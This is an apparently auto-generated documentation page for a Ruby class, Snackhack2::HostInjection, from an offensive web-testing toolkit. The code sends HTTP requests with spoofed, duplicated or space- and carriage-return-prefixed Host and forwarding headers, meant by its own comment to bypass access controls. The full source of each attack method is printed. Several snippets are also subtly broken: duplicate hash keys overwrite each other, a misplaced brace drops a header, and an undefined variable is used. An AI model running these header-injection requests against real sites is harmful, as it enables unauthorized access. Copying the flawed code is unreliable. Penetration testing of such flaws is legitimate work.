Class: Snackhack2::HostInjection

Inherits:
Object
  • Object
show all
Defined in:
lib/snackhack2/host_injection.rb

Instance Attribute Summary collapse

Instance Method Summary collapse

Constructor Details

#initialize ⇒ HostInjection

old_host_ip: the IP of the host (public IP) that its supposed to be new_host_ip: the IP of the host to bypass access controls



10
11
12
# File 'lib/snackhack2/host_injection.rb', line 10

def initialize
  @site = site
end

Instance Attribute Details

#new_host_ip ⇒ Object

Returns the value of attribute new_host_ip.



7
8
9
# File 'lib/snackhack2/host_injection.rb', line 7

def new_host_ip
  @new_host_ip
end

#old_host_ip ⇒ Object

Returns the value of attribute old_host_ip.



7
8
9
# File 'lib/snackhack2/host_injection.rb', line 7

def old_host_ip
  @old_host_ip
end

#site ⇒ Object

Returns the value of attribute site.



7
8
9
# File 'lib/snackhack2/host_injection.rb', line 7

def site
  @site
end

Instance Method Details

#double_host_ip ⇒ Object



37
38
39
40
41
42
43
# File 'lib/snackhack2/host_injection.rb', line 37

def double_host_ip
  unless @old_host_ip.nil?
    response = HTTParty.get(@site, headers: { "Host" => @old_host_ip, "Host" => @new_host_ip})
    puts response.body
    puts response.code
  end
end

#double_x_forwarded ⇒ Object



51
52
53
54
55
56
57
# File 'lib/snackhack2/host_injection.rb', line 51

def double_x_forwarded
  unless @old_host_ip.nil?
    response = HTTParty.get(@site, headers: { "X-Forwarded-Host" => @old_host_ip, "X-Forwarded-Host" => @new_host_ip})
    puts response.body
    puts response.code
  end
end

#extra_return_host ⇒ Object



76
77
78
79
80
81
# File 'lib/snackhack2/host_injection.rb', line 76

def extra_return_host
  unless @new_host_ip.nil?
    response = HTTParty.get(@site, headers: {"\rHost" => "#{@new_host_ip}"}, "Host" => "#{old_host_ip}").body
    puts response
  end
end

#extra_space_host ⇒ Object



82
83
84
85
86
87
# File 'lib/snackhack2/host_injection.rb', line 82

def extra_space_host
  unless @new_host_ip.nil?
    response = HTTParty.get(@site, headers: {"\sHost" => "#{@new_host_ip}"}, "Host" => "#{old_host_ip}").body
    puts response
  end
end

#host_ip ⇒ Object



30
31
32
33
34
35
36
# File 'lib/snackhack2/host_injection.rb', line 30

def host_ip
  unless @old_host_ip.nil?
    response = HTTParty.get(@site, headers: { "Host" => @old_host_ip})
    puts response.body
    puts response.code
  end
end

#http_host_override ⇒ Object



68
69
70
71
72
73
74
75
# File 'lib/snackhack2/host_injection.rb', line 68

def http_host_override
  unless @old_host_ip.nil?
    r = HTTParty.get(@site, headers: {"Host" => @old_host_ip, "X-HTTP-Host-Override" => @new_host_ip})
    puts r.body
    puts r.code
    r = HTTParty.get(@site, headers: {"X-HTTP-Host-Override" => @old_host_ip, "X-HTTP-Host-Override" => @new_host_ip}).body
  end
end

#test_all ⇒ Object



13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# File 'lib/snackhack2/host_injection.rb', line 13

def test_all
  p @new_host_ip
  p @old_host_ip
  [ "Host", "\sHost", "\rHost", "X-Forwarded-Host", "\sX-Forwarded-Host",
    "X-Host", "\sX-Host", "\rX-Host", "X-Remote-Addr", "\sX-Remote-Addr",
    "\rX-Remote-Addr", "X-Remote-IP", "\sX-Remote-IP", "\rX-Remote-IP",
    "X-Forwarded-Server", "\sX-Forwarded-Server", "\rX-Forwarded-Server",
    "Forwarded", "\sForwarded", "\rForwarded", "\sX-HTTP-Host-Override",
    "X-HTTP-Host-Override", "\rX-HTTP-Host-Override"].each do |h|
      head = {"Host" => @old_host_ip}
      head[h] = @new_host_ip
      r = HTTParty.get(@site, headers: head)
      puts r.code
      puts "\n==========================\n"
  end
end

#x_forwarded ⇒ Object



44
45
46
47
48
49
50
# File 'lib/snackhack2/host_injection.rb', line 44

def x_forwarded
  unless @old_host_ip.nil?
    response = HTTParty.get(@site, headers: { "Host" => @old_host_ip, "X-Forwarded-Host" => @new_host_ip})
    puts response.body
    puts response.code
  end
end

#x_forwarded_server ⇒ Object



58
59
60
61
62
63
64
65
66
67
# File 'lib/snackhack2/host_injection.rb', line 58

def x_forwarded_server
  unless @old_host_ip.nil?
    r = HTTParty.get(@site, headers: {"Host" => @old_host_ip, "X-Forwarded-Server" => @new_host_ip})
    puts r.body
    puts r.code
    r = HTTParty.get(@site, headers: {"X-Forwarded-Server" => @old_host_ip, "X-Forwarded-Server" => @new_host_ip})
    puts r.body
    puts r.code
  end
end